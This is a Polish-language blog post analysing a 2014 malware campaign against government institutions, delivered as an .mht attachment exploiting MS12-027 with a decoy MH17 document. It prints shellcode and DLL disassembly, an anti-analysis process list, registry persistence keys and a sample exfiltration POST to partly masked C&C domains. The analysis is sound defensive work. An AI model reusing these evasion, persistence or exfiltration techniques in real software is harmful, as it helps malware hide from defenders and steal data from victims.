poniedziałek, 11 sierpnia 2014

mht, MS12-27 oraz *malware*.info



Przedstawiamy skrócony opis z analizy złośliwego oprogramowania rozsyłanego do instytucji rządowych. Plik załączany do wiadomości email miał rozszerzenie mht (MD5: D3DE5B8500453107D6D152B3C8506935).

Poniżej fragment zawartości pliku. CLSID związany jest z błędem przepełnienia bufora w kontrolce ActiveX – MSCOMCTL.OCX (MS12-27).

Wyodrębniony obiekt ocxstg001.mso po odkodowaniu base64 zawiera exploit:
W pliku mht można też zidentyfikować inny shellcode, którego celem jest między innymi zapisanie w TMP i uruchomienie kolejnej instancji WinWord.exe z nowym (podstawionym) plikiem - MH17.doc (treść dokumentu dotyczy katastrofy MH17) oraz wywołanie biblioteki DLL. Bibliotekę możemy również wyodrębnić samodzielnie z pliku mht.

Fragment drugiego shellcode:

seg000:000001E9                 cld

seg000:000001EA                 rep movsb

seg000:000001EC                 mov     [edx+0A4h], edi

seg000:000001F2                 mov     eax, [edx+20h]

seg000:000001F5                 push    0

seg000:000001FA                 push    0

seg000:000001FF                 push    2

seg000:00000204                 push    0

seg000:00000209                 push    0

seg000:0000020E                 push    4

seg000:00000213                 mov     ebx, [edx+8Ch]

seg000:00000219                 push    ebx

seg000:0000021A                 call    eax
 
W efekcie po wykorzystaniu podatności na komputerze ofiary w katalogu TMP tworzone są dwa pliki:
  • MH17.doc
  • Instalator złośliwego oprogramowania (DLL) w.q – MD5: 16A6C56BA458EC718B4E9BC8F9F10785
Biblioteka DLL oprócz standardowej funkcji DllEntryPoint() eksportuje dwie dodatkowe funkcje Start() oraz Start717(void*). Start717 na początku wykonuje sprawdzenia czy system operacyjny nie jest "monitorowany" i dopiero wtedy "instaluje" jedną z dwóch bibliotek głównych.

Większość danych statycznych (komendy, nazwy funkcji, nazwy plików) w analizowanej bibliotece jest zakodowana.

Fragment kodu wywołujący funkcję odkodowującą dane poniżej:

.text:70891190 sub_70891190 proc near       ; CODE XREF: Start717(void *)+59p

.text:70891190 push    esi

.text:70891191 push    edi

.text:70891192 push    offset unk_7089B000             ; klucz

.text:70891197 push    0

.text:70891199 push    99h                  ; ilość danych do odkodowania

.text:7089119E push    offset LibFileName

.text:708911A3 mov     esi, ecx

.text:708911A5 call    odkoduj_1            ; odkoduj nazwy funkcji i bibliotek

.text:708911AA push    offset unk_7089B000             ; klucz

.text:708911AF push    0

.text:708911B1 push    2E6h                    ; ilość danych do odkodowania

.text:708911B6 push    offset word_7089B0A8

.text:708911BB call    odkoduj_1                       ; odkoduj nazwy procesow

.text:708911C0 mov     edi, ds:LoadLibraryA

.text:708911C6 push    offset LibFileName              ; lpLibFileName

.text:708911CB call    edi ; LoadLibraryA

.text:708911CD push    offset aIboq4i                  ; "msvcrt.dll"

.text:708911D2 mov     [esi], eax

.text:708911D4 call    edi ; LoadLibraryA

.text:708911D6 mov     [esi+4], eax

.text:708911D9 pop     edi

.text:708911DA mov     eax, esi

.text:708911DC pop     esi

.text:708911DD retn

.text:708911DD sub_70891190 endp

 Poniższy fragment kodu odpowiada za odkodowanie nazw bibliotek, funkcji i aplikacji "monitorujących". Użyty klucz FE95279A46B28136.
.text:70891076 mov     dl, byte ptr [ebp+arg_4+3]

.text:70891079

.text:70891079 loc_70891079:                   ; CODE XREF: sub_70891000+70j

.text:70891079 add     dl, cl

.text:7089107B lea     ebx, [edi+eax+2]

.text:7089107F and     ebx, 7

.text:70891082 xor     dl, [ebx+esi]  ;pozycja w tablicy xor kolejny znak klucza

.text:70891085 lea     ebx, [edi+eax+1]

.text:70891089 and     ebx, 7

.text:7089108C and     dl, [ebx+esi]

.text:7089108F inc     ecx

.text:70891090 mov     bl, dl

.text:70891092 lea     edx, [esi+edi-1]

.text:70891096 movzx   edx, byte ptr [edx+eax]

.text:7089109A imul    edx, eax

.text:7089109D add     edi, eax

.text:7089109F shr     edx, 7

.text:708910A2 and     edi, 7

.text:708910A5 xor     dl, [edi+esi]

.text:708910A8 mov     edi, [ebp+var_8]

.text:708910AB add     bl, dl

.text:708910AD mov     edx, [ebp+arg_0]

.text:708910B0 xor     [edx+eax], bl                        ;odkodowany znak

.text:708910B3 inc     eax

.text:708910B4 cmp     ecx, 8                                     ;dł klucza

.text:708910B7 jb      short loc_70891076

Odkodowana pierwsza część danych:

Poniżej lista aplikacji po wykryciu których malware kończy działanie:
  • netsniffer.exe
  • windump.exe
  • winapioverride32.exe
  • tcpview.exe
  • vboxservice.exe
  • procexp.exe
  • wireshark.exe
  • regmon.exe
  • procmon.exe
  • iris.exe
  • petools.exe
  • filemon.exe
  • vboxtray.exe
  • tcpdump.exe
  • apimonitor.exe
  • odb.exe
  • apispy32.exe
  • comview.exe
  • winspy.exe
  • vmtools.exe
  • vmwaretray.exe
  • immunitydebugger.exe
  • syser.exe
  • dumpcap.exe
  • vmwareuser.exe
  • ollydbg.exe
  • windbg.exe
  • idag.exe
Kolejna zastosowana metoda wykrywania debuggera polega na dwukrotnym wywołaniu funkcji GetTickCount(). Jeśli różnica w zwracanej wartości jest zbyt duża – zwracana wartość 1 powoduję wyłączenie malware.

.text:70891394 mov     esi, eax

.text:70891396 call    ebx                             ; GetTickCount

.text:70891398 push    eax

.text:70891399 call    [ebp+var_4]                     ; srand

.text:7089139C add     esp, 4

.text:7089139F call    esi                             ; rand

.text:708913A1 call    ebx                             ; GetTickCount

.text:708913A3 mov     [ebp+var_4], eax

.text:708913A6 mov     edi, 186A0h

.text:708913AB jmp     short loc_708913B0

.text:708913B0 loc_708913B0:                     ; CODE XREF: sub_70891360+4Bj

.text:708913B0                                         ; sub_70891360+55j

.text:708913B0 call    esi                             ; rand

.text:708913B2 call    esi                             ; rand

.text:708913B4 dec     edi

.text:708913B5 jnz     short loc_708913B0

.text:708913B7 call    ebx                             ; GetTickCount

.text:708913B9 sub     eax, [ebp+var_4]

.text:708913BC pop     edi

.text:708913BD cmp     eax, 14h                        ; porównaj rezultat

.text:708913C0 sbb     eax, eax

Jeśli uruchomiony kod nie wykryje nic podejrzanego na stacji roboczej instalowane jest złośliwe oprogramowanie:
  • W katalogu C:\Users\<username>\AppData\Local\Microsoft\Windows tworzy kolejny plik – coreshell.dll (MD5: 48656A93F9BA39410763A2196AABC67F)
  • Do rejestrów dodawany jest klucz HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CoreShell z zawartością: “RUNDLL32.exe „C:\Users\<username>\AppData\Local\Microsoft\Windows\coreshell.dll”,#1
  • Jeśli instalator ma uprawnienia lokalnego administratora to również utworzy: HKLM\Software\Classes\CLSID\{ EF7652A4-98EF-5031-226B-11456C96A7EA }\INProcServer32 wskazując na  coreshell.dll oraz funkcję Applicate()
Złośliwe oprogramowanie ma zaimplementowany mechanizm zdalnego wykonywania komend oraz pobierania i uruchamiania plików. Jednym z pierwszych czynności jest pobranie z serwera C&C kolejnej biblioteki: advstoreshell.dll (MD5: D7A625779DF56D874871BB632F3E3106). Inny instalowany (dodawany do klucza RUN) na stacji roboczej plik to: conhost.dll (MD5:  5F69014A482DC115A93A80A486BB2842).

Do serwerów C&C wysyłane są też informacje o zainfekowanym hoście (np. wynik systeminfo) czy uruchomionych procesach. Zebranie informacje przed wysłaniem są szyfrowanie (wykonywany dwa razy XOR na różnych pozycjach klucza i indeksie tablicy z danymi do zakodowania) oraz kodowane do base64. Klucz ma długość 6 bajtów. 

Próbka zebranych informacji:

[System Process] ID:0 Path:00000057

System ID:4 Path:00000005

smss.exe ID:272 Path:00000005

csrss.exe ID:364 Path:00000005

wininit.exe ID:404 Path:00000005

csrss.exe ID:416 Path:00000005

services.exe ID:456 Path:00000005

lsass.exe ID:496 Path:00000005

lsm.exe ID:504 Path:00000005

winlogon.exe ID:512 Path:00000005

svchost.exe ID:632 Path:00000005

svchost.exe ID:696 Path:00000005

svchost.exe ID:744 Path:00000005

svchost.exe ID:832 Path:00000005

svchost.exe ID:904 Path:00000005

svchost.exe ID:1040 Path:00000005

svchost.exe ID:1124 Path:00000005

spoolsv.exe ID:1304 Path:00000005

dwm.exe ID:1328 Path:C:\Windows\system32\Dwm.exe

explorer.exe ID:1352 Path:C:\Windows\Explorer.EXE


I ich zakodowana wersja:

POST /check/ HTTP/1.1

User-Agent: MSIE 8.0



Host: malware*****.info

Content-Length: 3408

Pragma: no-cache



PmBn4Hb4AFtG5m/pFF4A7Uny/WJR43fbM0U/6WDEOVAKvLdUHlQiws1hQXdGyZlG

Q3osvz0zdYZ1wjJAe3kDyCHNt2xmHuI1Qm8MJZM+JWsJG5wvCB5LHr0YLxFTJMcB

ASUH+r8qRBA9AeebBgNzB9iHfBdR+teMIgpaAO95KzX/Vx2GpDkJXWGTuDwAYy/4

lC/vVh3k+CuWXGLV8C6yY3P+5jEEOVbnt9ROPA1Qq+CsMnhhgeO6OHJKdcaCPyEy

3crElSPfz9WamErMu/jAnho50PyXlAM+rP/nmwArjfrPcWI70O71dCQkWuGbei0t


Przy każdym zapytaniu POST wysyłanym do serwera C&C generowany jest nowy klucz „sesji” i dołączany do przesyłanej wiadomości.



Przesyłane wiadomości są oznaczane nagłówkami np. crtf (błędy), strtf (log) czy mtfs (informacje). Inne znaczniki wykorzystywane przez malware to ldrt, virt, crth, extc.

Nazwy funkcji i bibliotek w pamięci przechowywane są w formie zaszyfrowanej oraz w odwrotnej kolejności. Przed pobraniem adresu funkcji na krótko przywracana jest właściwa kolejność znaków aby następnie wywołać GetProcAddress().


Dane o większym rozmiarze są najpierw kompresowane za pomocą LZW a następnie szyfrowane algorytmem 3DES. Poniżej parametry wywołania funkcji CryptGenKey:


Oraz przykładowy klucz wykorzystany do szyfrowania przesyłanych plików. Pliki w formie zaszyfrowanej znajdują się w katalogu TMP (np. __2315tmp.dat) zainfekowanego użytkownika:



Malware łączy się serwerem za pomocą http. Wykorzystuje ustawienia proxy. Poniżej lista aktywnych serwerów:
  • ****malware.info 
  • malware*****.info
  • ********-update.org
  • ****service24.net
  • *******-update.com